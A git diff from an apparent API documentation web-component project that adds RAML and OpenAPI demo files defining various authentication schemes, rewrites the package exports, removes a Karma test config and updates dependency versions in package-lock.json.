description: Apply access token here. + oauth2queryDelivery: !include oauth2-query-delivery.raml + oauth2headerDelivery: !include oauth2-header-delivery.raml + oauth2noDelivery: !include oauth2-no-delivery.raml + oauth2noGrants: !include oauth2-no-grants.raml + oauth2pkce: !include oauth2-pkce.raml + oauth1: !include oauth_1_0.raml + oauth1signature: !include oauth_1_0_signature.raml + oauth1noSignature: !include oauth_1_0_no-signature.raml + oauth1noSettings: !include oauth_1_0_no-settings.raml +/basic: + get: + securedBy: basic +/digest: + get: + securedBy: digest +/passthrough: + get: + securedBy: passthrough +/passthrough-query-string: + get: + securedBy: passthroughQueryString +/custom-query-string: + get: + securedBy: custom_scheme +/custom1: + get: + securedBy: [custom1] +/custom2: + get: + securedBy: [custom2] +/custom3: + get: + securedBy: [custom3] +/oauth2: + post: + securedBy: [oauth2] +/oauth2-with-annotations: + get: + securedBy: [oauth2Annotation] +/oauth2-with-grant-list: + get: + securedBy: [oauth2grants] +/oauth2-query-delivery: + get: + securedBy: [oauth2queryDelivery] +/oauth2-header-delivery: + get: + securedBy: [oauth2headerDelivery] +/oauth2-no-delivery: + get: + securedBy: [oauth2noDelivery] +/oauth2-no-grants: + get: + securedBy: [oauth2noGrants] +/oauth2-pkce: + get: + securedBy: [oauth2pkce] +/oauth1: + get: + securedBy: [oauth1] +/oauth1-signature: + get: + securedBy: [oauth1signature] +/oauth1-nosignature: + get: + securedBy: [oauth1noSignature] +/oauth1-nosettings: + get: + securedBy: [oauth1noSettings] +/combo-types: + get: + securedBy: [basic, digest, passthroughQueryString, custom1, oauth2, oauth1] +/all-oauth2: + get: + securedBy: [oauth2, oauth2Annotation, oauth2grants, oauth2queryDelivery, oauth2headerDelivery, oauth2noDelivery, oauth2noGrants] +/nil-oauth2: + get: + securedBy: [null, oauth2] diff --git a/demo/secured-api/x-custom.raml b/demo/secured-api/x-custom.raml new file mode 100644 index 0000000..b76322d --- /dev/null +++ b/demo/secured-api/x-custom.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 SecurityScheme + +description: | + A custom security scheme for authenticating requests. + It allows to set `SpecialToken` header from the authorization panel. + The same header should be rendered in the headers editor with console using + RAML JS parser. + With `AMF` console this is separated information. + This scheme also sets `debugToken` and `booleanToken` query parameters. + Both are enums, however `booleanToken` can only have `true` and `false` + values. +type: x-my-custom +describedBy: + headers: + SpecialTokenHeader: + description: | + Used to send a custom token. + type: string + queryParameters: + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + booleanTokenParam: + description: Just to test boolean values. + type: boolean + default: true + responses: + 401: + description: | + Bad token. + 403: diff --git a/demo/secured-api/x-other.raml b/demo/secured-api/x-other.raml new file mode 100644 index 0000000..45e4cb5 --- /dev/null +++ b/demo/secured-api/x-other.raml @@ -0,0 +1,29 @@ +#%RAML 1.0 SecurityScheme + +description: | + Other custom security method for authorization. +type: x-custom +describedBy: + queryParameters: + apiUserIdParam: + description: | + Your api user ID. Some imaginary value. + type: number + required: true + apiNonceParam: + description: Random string + type: string + responses: + 401: + description: | + Bad token autorization. + body: + application/json: + type: object + properties: + error: + type: boolean + description: Always true. Indicates that the response is errord. + message: + type: string + description: Human readable message describing the error. diff --git a/demo/secured-api/x-query-string.raml b/demo/secured-api/x-query-string.raml new file mode 100644 index 0000000..438b230 --- /dev/null +++ b/demo/secured-api/x-query-string.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + Tests for queryString RAML's property +type: x-custom +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/secured-unions/secured-unions.yaml b/demo/secured-unions/secured-unions.yaml new file mode 100644 index 0000000..f0f7da1 --- /dev/null +++ b/demo/secured-unions/secured-unions.yaml @@ -0,0 +1,87 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS Multi combinations + +components: + securitySchemes: + BasicAuth: + type: http + scheme: basic + BearerAuth: + type: http + scheme: bearer + ApiKeyAuth: + type: apiKey + in: header + name: X-API-Key + ApiKeyQuery: + type: apiKey + in: query + name: key + OpenID: + type: openIdConnect + openIdConnectUrl: https://example.com/.well-known/openid-configuration + OAuth2: + type: oauth2 + flows: + authorizationCode: + authorizationUrl: https://example.com/oauth/authorize + tokenUrl: https://example.com/oauth/token + scopes: + read: Grants read access + write: Grants write access + admin: Grants access to admin operations + +paths: + /single: + get: + security: + - ApiKeyQuery: [] + responses: + default: + description: Unexpected error + /api-keys-union: + get: + security: + - ApiKeyQuery: [] + ApiKeyAuth: [] + responses: + default: + description: Unexpected error + /and-and-or-union: + get: + security: + - ApiKeyQuery: [] + ApiKeyAuth: [] + - BasicAuth: [] + responses: + default: + description: Unexpected error + /cross-union: + get: + security: + - ApiKeyQuery: [] + ApiKeyAuth: [] + - BasicAuth: [] + OAuth2: [] + - BearerAuth: [] + responses: + default: + description: Unexpected error + /multi-auth-header: + get: + security: + - BasicAuth: [] + BearerAuth: [] + responses: + default: + description: Unexpected error + post: + security: + - BearerAuth: [] + BasicAuth: [] + responses: + default: + description: Unexpected error diff --git a/index.d.ts b/index.d.ts index 1019cb6..a8937e1 100644 --- a/index.d.ts +++ b/index.d.ts @@ -1 +1,9 @@ -export { ApiDocumentationElement } from './src/ApiDocumentationElement'; +export { default as ApiOperationDocumentElement } from './src/elements/ApiOperationDocumentElement'; +export { default as ApiParameterDocumentElement } from './src/elements/ApiParameterDocumentElement'; +export { default as ApiPayloadDocumentElement } from './src/elements/ApiPayloadDocumentElement'; +export { default as ApiRequestDocumentElement } from './src/elements/ApiRequestDocumentElement'; +export { default as ApiResourceDocumentationElement } from './src/elements/ApiResourceDocumentationElement'; +export { default as ApiResponseDocumentElement } from './src/elements/ApiResponseDocumentElement'; +export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement'; +export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement'; +export * as Utils from './src/lib/Utils'; diff --git a/index.js b/index.js index ccab108..39e1f8c 100644 --- a/index.js +++ b/index.js @@ -1 +1,9 @@ -export { ApiDocumentationElement } from './src/ApiDocumentationElement.js'; +export { default as ApiOperationDocumentElement } from './src/elements/ApiOperationDocumentElement.js'; +export { default as ApiParameterDocumentElement } from './src/elements/ApiParameterDocumentElement.js'; +export { default as ApiPayloadDocumentElement } from './src/elements/ApiPayloadDocumentElement.js'; +export { default as ApiRequestDocumentElement } from './src/elements/ApiRequestDocumentElement.js'; +export { default as ApiResourceDocumentationElement } from './src/elements/ApiResourceDocumentationElement.js'; +export { default as ApiResponseDocumentElement } from './src/elements/ApiResponseDocumentElement.js'; +export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement.js'; +export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement.js'; +export * as Utils from './src/lib/Utils.js'; diff --git a/karma.conf.js b/karma.conf.js deleted file mode 100644 index 79dd899..0000000 --- a/karma.conf.js +++ /dev/null @@ -1,109 +0,0 @@ -/* eslint-disable import/no-extraneous-dependencies */ -const { createDefaultConfig } = require('@open-wc/testing-karma'); -const merge = require('deepmerge'); - -module.exports = (config) => { - config.set( - merge(createDefaultConfig(config), { - files: [ - // runs all files ending with .test in the test folder, - // can be overwritten by passing a --grep flag. examples: - // - // npm run test -- --grep test/foo/bar.test.js - // npm run test -- --grep test/bar/* - { - pattern: config.grep ? config.grep : 'test/**/*.test.js', - type: 'module' - }, - { - pattern: 'node_modules/cryptojslib/components/core.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/rollups/sha1.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/components/enc-base64-min.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/rollups/md5.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/rollups/hmac-sha1.js', - type: 'js' - }, - { - pattern: 'node_modules/jsrsasign/lib/jsrsasign-rsa-min.js', - type: 'js' - }, - { - pattern: 'node_modules/jsonlint/lib/jsonlint.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/lib/codemirror.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/addon/mode/loadmode.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/meta.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/javascript/javascript.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/xml/xml.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/htmlmixed/htmlmixed.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/markdown/markdown.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/addon/lint/lint.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/addon/lint/json-lint.js', - type: 'js' - } - ], - - // see the karma-esm docs for all options - esm: { - // if you are using 'bare module imports' you will need this option - nodeResolve: true - }, - - client: { - mocha: { - timeout: 5000 - } - }, - - coverageIstanbulReporter: { - thresholds: { - global: { - statements: 75, - branches: 65, - functions: 85, - lines: 75 - } - } - }, - }) - ); - return config; -}; diff --git a/package-lock.json b/package-lock.json index 55f89e4..37b55b9 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,6 +1,6 @@ { "name": "@api-components/api-documentation", - "version": "6.0.5", + "version": "7.0.0-beta.1", "lockfileVersion": 1, "requires": true, "dependencies": { @@ -8,6 +8,7 @@ "version": "0.2.0", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-cookies/-/arc-cookies-0.2.0.tgz", "integrity": "sha512-acD0zqaOLdI3xLnhEKH1CaiqHmQKwoZfq+KYPchEsgYqJGyuYL9obHzi8hugmQog2sgKxtsMn5V2NQZZDZVxdQ==", + "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.10", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -29,38 +30,39 @@ "@advanced-rest-client/arc-definitions": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-definitions/-/arc-definitions-3.1.1.tgz", - "integrity": "sha512-AbnR14AdFwlVSqWF83senQVM5JjllBoRq5uCGBGw8gLhIXylG+nlk+9sOLlpWCeAaxYiiGGqw/Lw4Ke57xf6Hw==" + "integrity": "sha512-AbnR14AdFwlVSqWF83senQVM5JjllBoRq5uCGBGw8gLhIXylG+nlk+9sOLlpWCeAaxYiiGGqw/Lw4Ke57xf6Hw==", + "dev": true }, "@advanced-rest-client/arc-demo-helper": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-2.2.6.tgz", - "integrity": "sha512-xNJ+253nZUY85/xCJtli7TntmniMXwGklOw9AFQj3UA8TDulT1eTA815z7GdaLzoKfVI7+lGBE+Kvl2kwfe/NQ==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-3.0.3.tgz", + "integrity": "sha512-Myb1bTyQYFRo2LhGUG8esudRiLRLlVybVQcZBQI1nX9YnsAN6a8OCki93vK64Lxd4ZbkcJH5eqpQN/xGeBIhWw==", "dev": true, "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@anypoint-web-components/anypoint-menu-button": "^0.1.4", - "@anypoint-web-components/anypoint-switch": "^0.1.4", - "@anypoint-web-components/anypoint-tabs": "^0.1.12", - "@api-components/amf-helper-mixin": "^4.3.4", - "@api-components/api-navigation": "^4.2.4", + "@advanced-rest-client/arc-icons": "^3.3.4", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-item": "^1.1.2", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@anypoint-web-components/anypoint-menu-button": "^0.1.5", + "@anypoint-web-components/anypoint-switch": "^0.1.10", + "@anypoint-web-components/anypoint-tabs": "^0.1.19", + "@api-components/amf-helper-mixin": "^4.5.4", + "@api-components/api-navigation": "^4.3.2", "@api-components/raml-aware": "^3.0.0", "@open-wc/dedupe-mixin": "^1.3.0", "@polymer/font-roboto": "^3.0.2", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0", - "prismjs": "^1.23.0" + "lit-element": "^2.5.1", + "lit-html": "^1.4.1", + "prismjs": "^1.25.0" } }, "@advanced-rest-client/arc-events": { - "version": "0.2.20", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-events/-/arc-events-0.2.20.tgz", - "integrity": "sha512-FomNssV4hCbxtPogZXXVIdPkiEzFmPVUOHzaH8K98Pvz5T20+iwvzqwbaA3fExJKekGwcwRSg7e/ppFmhIQtkg==", + "version": "0.2.21", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-events/-/arc-events-0.2.21.tgz", + "integrity": "sha512-pxwE/zN/URuOP3R6OMDs/3wgWVD5I+jKwSS0Ku5qQuE6MN7JqJh/w/n8TBUrrdcFM4pVlAIrhaIbjVQ9S1395A==", "requires": { - "@advanced-rest-client/arc-types": "^0.2.57" + "@advanced-rest-client/arc-types": "^0.2.61" } }, "@advanced-rest-client/arc-fit-mixin": { @@ -75,6 +77,7 @@ "version": "0.1.10", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-headers/-/arc-headers-0.1.10.tgz", "integrity": "sha512-H3mFYOnqHlSMgSqg0pFtR7kluSIgAMqdT4+02AUuDD6DuXqzhtxzY9OLQaZFOnQ/TQ0+UO95Jvk+pxcKSA1E3Q==", + "dev": true, "requires": { "@advanced-rest-client/arc-definitions": "^3.1.1", "@advanced-rest-client/arc-events": "^0.2.13", @@ -93,29 +96,19 @@ } }, "@advanced-rest-client/arc-icons": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-icons/-/arc-icons-3.3.3.tgz", - "integrity": "sha512-bmiVGfNo463p2cb1Mvy2KF5QvUV/dL0JG+H6AivYJdNNFTeEAt5a2s+K/QkWHCLPAK/gKdgyrUxBZtxRIguJ1A==", + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-icons/-/arc-icons-3.3.4.tgz", + "integrity": "sha512-kISi0kToB2Eqem21miPZoyJ2eSwqvtZQClt93pPP/LrRyuQHjWNp38bOLW6tFExmn6aTFYZK9v3X++lXZ3fqIg==", "requires": { - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@advanced-rest-client/arc-marked": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-marked/-/arc-marked-1.1.2.tgz", - "integrity": "sha512-YHi4aGGh8XFjLi4N0szqOBmtGiC6wn+UCB5josEhAP/oVwlRnWxSCNenwjvpINO+RJ8Dr09Ed5dVMGS/wz4yCw==", - "requires": { - "dompurify": "^2.2.9", "lit-element": "^2.5.1", - "lit-html": "^1.4.1", - "marked": "^0.7.0" + "lit-html": "^1.4.1" } }, "@advanced-rest-client/arc-models": { "version": "5.2.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-models/-/arc-models-5.2.3.tgz", "integrity": "sha512-kCMe+IKL6St744BsywD+n9BEvnkrk2S/Y40rsLH3iiL66wggODC98IYyst5YglOX5hkFaztu67LdpygddxiRwA==", + "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.18", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -162,6 +155,7 @@ "version": "0.3.6", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-response/-/arc-response-0.3.6.tgz", "integrity": "sha512-6B6ZVqdit33a+z79BrzJEQxw/12TlgbHJJkNUd70uI+SytGNjpPVI3933oYPAhD4WyM4gl77uokhnFwCBo+xWA==", + "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.17", "@advanced-rest-client/arc-headers": "^0.1.10", @@ -180,14 +174,15 @@ } }, "@advanced-rest-client/arc-types": { - "version": "0.2.59", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-types/-/arc-types-0.2.59.tgz", - "integrity": "sha512-a7A0JQ6Bk99i7EVPkbAaM7RlvTkqAzjbDSbUuwMCfsRFSRjuXz+YG3pnCYG8zPpaGlJHVGf47kFIpXbd1LBtLg==" + "version": "0.2.61", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-types/-/arc-types-0.2.61.tgz", + "integrity": "sha512-7PmKth7cpPKmRI3psl0iaZ8jbqHhJFJaBM5tXeQoCycmykbwiBUQrgZZar4mL9BQaOzbPZ9VhGPk/zbB4TPk3g==" }, "@advanced-rest-client/arc-url": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-url/-/arc-url-0.2.2.tgz", "integrity": "sha512-OMuowiCigJPSRHdAKBi1+sTkmaAObL+zq4hebgyVR+9u/iD7zKIpBfmq5gYLJ7GnmgoDip/zAtkWxA83vTjpfA==", + "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.18", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -209,28 +204,30 @@ } }, "@advanced-rest-client/authorization": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/authorization/-/authorization-0.1.5.tgz", - "integrity": "sha512-+M4ANBaAdZPUVohqlud+Hg3IQnpemEGhA/owexnpatxcpID6CvkqRcNKveXeJqxlpVvOnGrLYu9BeS/woVMKDg==", + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/authorization/-/authorization-0.2.3.tgz", + "integrity": "sha512-+oBAKorQ0iA1IwHML1xVU5P7XlIdYtydJ1ny8/RBAGt6wYOTwtiT1xfQAT3JHiUbthkgqSt47XC7FrXRozzyvQ==", + "dev": true, "requires": { - "@advanced-rest-client/arc-events": "^0.2.17", + "@advanced-rest-client/arc-events": "^0.2.20", "@advanced-rest-client/arc-headers": "^0.1.10", "@advanced-rest-client/arc-icons": "^3.3.0", - "@advanced-rest-client/arc-types": "^0.2.53", + "@advanced-rest-client/arc-types": "^0.2.58", "@advanced-rest-client/clipboard-copy": "^3.0.1", "@advanced-rest-client/events-target-mixin": "^3.2.4", - "@anypoint-web-components/anypoint-autocomplete": "^0.2.10", - "@anypoint-web-components/anypoint-button": "^1.2.2", - "@anypoint-web-components/anypoint-checkbox": "^1.2.1", + "@anypoint-web-components/anypoint-autocomplete": "^0.2.12", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-checkbox": "^1.2.2", "@anypoint-web-components/anypoint-control-mixins": "^1.2.0", "@anypoint-web-components/anypoint-dialog": "^0.1.7", "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", "@anypoint-web-components/anypoint-input": "^0.2.27", "@anypoint-web-components/anypoint-item": "^1.1.2", "@anypoint-web-components/anypoint-listbox": "^1.1.7", - "@anypoint-web-components/anypoint-selector": "^1.1.7", + "@anypoint-web-components/anypoint-selector": "^1.1.8", "@anypoint-web-components/anypoint-switch": "^0.1.10", "@anypoint-web-components/validatable-mixin": "^1.1.3", + "@github/time-elements": "^3.1.2", "@open-wc/dedupe-mixin": "^1.3.0", "lit-element": "^2.5.1", "lit-html": "^1.4.1" @@ -240,6 +237,7 @@ "version": "0.2.5", "resolved": "https://registry.npmjs.org/@advanced-rest-client/body-editor/-/body-editor-0.2.5.tgz", "integrity": "sha512-2YRxPs5boZer/A0jt1OAmYbnXiBMUOmvR7JIuqNZ1gIjt7m+JkgvB68dNpgu5AUqYsLvytM3MFyjRFnzdPgn/g==", + "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.17", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -262,6 +260,7 @@ "version": "3.2.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/bottom-sheet/-/bottom-sheet-3.2.3.tgz", "integrity": "sha512-m9xNHygVMAM8aubTpFarRUmkkDcHpdIsUkcVnmJGnE1/i/YL6RMg9KRF0jxFW9OasdTEggfn6jbuWPt3kdkfPg==", + "dev": true, "requires": { "@advanced-rest-client/arc-overlay-mixin": "^1.1.7", "@polymer/iron-a11y-announcer": "^3.1.0", @@ -271,12 +270,14 @@ "@advanced-rest-client/clipboard-copy": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@advanced-rest-client/clipboard-copy/-/clipboard-copy-3.1.0.tgz", - "integrity": "sha512-Fn5GV5ba5yjgL7FhYlIM8XbR1PB/A7c7j8eiMNG+vzWNUcHqH80ZahkNgfplBxDUvCGCoIp4DnnUCDIyXaxYqQ==" + "integrity": "sha512-Fn5GV5ba5yjgL7FhYlIM8XbR1PB/A7c7j8eiMNG+vzWNUcHqH80ZahkNgfplBxDUvCGCoIp4DnnUCDIyXaxYqQ==", + "dev": true }, "@advanced-rest-client/code-mirror": { "version": "3.1.5", "resolved": "https://registry.npmjs.org/@advanced-rest-client/code-mirror/-/code-mirror-3.1.5.tgz", "integrity": "sha512-0FnW8WbbgerozcmDmjTv7hmXvc6a0oei6XYauR5TU6PyHZnS8sKVmMkmwQJ8szYkq7tx316uHVHuun9MENQB0g==", + "dev": true, "requires": { "@anypoint-web-components/anypoint-item": "^1.1.0", "@anypoint-web-components/anypoint-listbox": "^1.1.6", @@ -285,32 +286,11 @@ "lit-element": "^2.4.0" } }, - "@advanced-rest-client/code-mirror-linter": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/code-mirror-linter/-/code-mirror-linter-3.0.2.tgz", - "integrity": "sha512-jFdQsRztepCvGGRZbKTILeLxJTzycsw5iJ2pf5SmEiQlANOwBqXUp/9KvSkZksck/QnDsZDrJASv1MQ9OnJzhg==", - "requires": { - "codemirror": "^5.58.1", - "jsonlint": "^1.6.3", - "lit-element": "^2.4.0" - } - }, - "@advanced-rest-client/content-type-selector": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/content-type-selector/-/content-type-selector-3.2.0.tgz", - "integrity": "sha512-b/Nd5ySX10xAJM+9fAJSfMkU6odMMBWRXS9YA7mPHV9ZBJshYTOSwr5uA5YyFYEC1ercxceamLkeC+XZhTmNcg==", - "requires": { - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "lit-element": "^2.4.0" - } - }, "@advanced-rest-client/date-time": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/date-time/-/date-time-3.0.2.tgz", - "integrity": "sha512-e5hJSVex/EHMo0YWZprOZUQs4KO/Bkt0KAUzjGrOZbpoafuK1Zs1Szu52KtEh7iui9jaTloWqhasrpnkqsgMDQ==" + "integrity": "sha512-e5hJSVex/EHMo0YWZprOZUQs4KO/Bkt0KAUzjGrOZbpoafuK1Zs1Szu52KtEh7iui9jaTloWqhasrpnkqsgMDQ==", + "dev": true }, "@advanced-rest-client/events-target-mixin": { "version": "3.2.4", @@ -320,163 +300,36 @@ "@open-wc/dedupe-mixin": "^1.3.0" } }, - "@advanced-rest-client/files-payload-editor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/files-payload-editor/-/files-payload-editor-3.1.0.tgz", - "integrity": "sha512-5NJ3GyJx0eUhxHlzzU8bYsFlugh5LjSWOtECgcIbh1Tcf4w5rdppkV4sILKw0TTeP16peqOq7jlvxV066ZK9eg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.1.0", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/validatable-mixin": "^1.1.1", - "lit-element": "^2.3.1" - } - }, - "@advanced-rest-client/form-data-editor": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/form-data-editor/-/form-data-editor-3.0.10.tgz", - "integrity": "sha512-rbQk4CQHLBDhgw+NLVxa6pajC7ztqhblxkun3ov+1wBMmgeqSHMh3ycXL240Nfg98LVoI0YznVwaQsVbonj7iw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.0.2", - "@advanced-rest-client/arc-marked": "^1.0.4", - "@advanced-rest-client/markdown-styles": "^3.1.0", - "@advanced-rest-client/payload-parser-mixin": "^3.0.0", - "@anypoint-web-components/anypoint-button": "^1.0.12", - "@anypoint-web-components/anypoint-checkbox": "^1.0.1", - "@anypoint-web-components/anypoint-input": "^0.2.5", - "@anypoint-web-components/anypoint-switch": "^0.1.9", - "@anypoint-web-components/validatable-mixin": "^1.0.2", - "@api-components/api-form-mixin": "^3.0.3", - "@api-components/api-property-form-item": "^3.0.9", - "@polymer/iron-form": "^3.0.0", - "lit-element": "^2.2.1" - } - }, - "@advanced-rest-client/headers-parser-mixin": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/headers-parser-mixin/-/headers-parser-mixin-3.2.0.tgz", - "integrity": "sha512-/kpQtZ4xZGuISolGekDyVO/WLRc/nYCYSpk2FMUbtn1X6mU52xzuVObnCbX4ySCrwjztEpXlu0h3si/UwXqJBw==", - "requires": { - "@open-wc/dedupe-mixin": "^1.2.17" - } - }, - "@advanced-rest-client/http-code-snippets": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/http-code-snippets/-/http-code-snippets-3.2.2.tgz", - "integrity": "sha512-iYs5LqrE5UtVY1UPpIFTMuZ4eIrOh69J8SeykK93gbWTRvkLMqJtnbOrVQ8KtC/DqaNqgvNhN4sqUAQY28sygw==", + "@advanced-rest-client/highlight": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/highlight/-/highlight-1.1.1.tgz", + "integrity": "sha512-EY/7UvbAzgw76Unz2t/mJbYxLAri+uUnYZeBK0App58YByvCCboA1Je1zUrPuQb+bGUUOT5nbqVl+23H17CoZA==", "requires": { - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-tabs": "^0.1.13", - "@polymer/prism-element": "^3.0.0", - "lit-element": "^2.4.0", + "@advanced-rest-client/arc-events": "^0.2.17", + "@advanced-rest-client/arc-icons": "^3.3.3", + "@anypoint-web-components/anypoint-button": "^1.2.1", + "@pawel-up/html.md": "^0.1.0", + "dompurify": "^2.2.9", + "lit-element": "^2.5.1", + "lit-html": "^1.4.1", + "marked": "^2.1.2", "prismjs": "^1.23.0" } }, - "@advanced-rest-client/http-method-selector": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/http-method-selector/-/http-method-selector-3.1.0.tgz", - "integrity": "sha512-Q9CqK097NVF79TaTA+Qes5TKoghns8GOz3Anwq7c5BdJ+TErNcOIJNr5NIRYI73H65cgK7grDwO4XiLfVeli0g==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-input": "^0.2.24", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@anypoint-web-components/anypoint-radio-button": "^0.1.7", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@advanced-rest-client/json-table": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/json-table/-/json-table-3.3.0.tgz", - "integrity": "sha512-hwR/gCBoqWTai7CCe4RhOuT6I3jlpUDFcp0gPemOHmrAuf3t7grVhjovpQuTG3u1XfNoQXnNkz88olHhw1J2ug==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.4.0" - } - }, - "@advanced-rest-client/markdown-styles": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/markdown-styles/-/markdown-styles-3.1.5.tgz", - "integrity": "sha512-KLKZbKTh4WoacFVbRbakxJmAD72MW9RY2jimY6bjnmQseVRCM83HF+LxzU+te6jT2lYkBE5Gpfok6/iEqGa/uQ==", - "requires": { - "lit-element": "^2.4.0" - } - }, "@advanced-rest-client/monaco-support": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@advanced-rest-client/monaco-support/-/monaco-support-1.0.1.tgz", "integrity": "sha512-Vdv12H2acYT0dD2jn0YpBYnv53+/ZhvzExRsWbRWkqlSTWPEqTQCwruqE5UET2BjnFeaPTMQ5jjOZQpOEZSRtg==", + "dev": true, "requires": { "lit-element": "^2.4.0" } }, - "@advanced-rest-client/multipart-payload-editor": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/multipart-payload-editor/-/multipart-payload-editor-4.1.4.tgz", - "integrity": "sha512-kQegUGxF3ucB3F6V3nKtpujCKyg5ZE/Cg8tRoQ+OXlP+qzq7Fmw39rqaelLgU9wGM5O6LbpChcQhoY7irLdWeA==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.3", - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/markdown-styles": "^3.1.5", - "@advanced-rest-client/multipart-payload-transformer": "^3.0.0", - "@advanced-rest-client/prism-highlight": "^4.1.2", - "@anypoint-web-components/anypoint-button": "^1.2.1", - 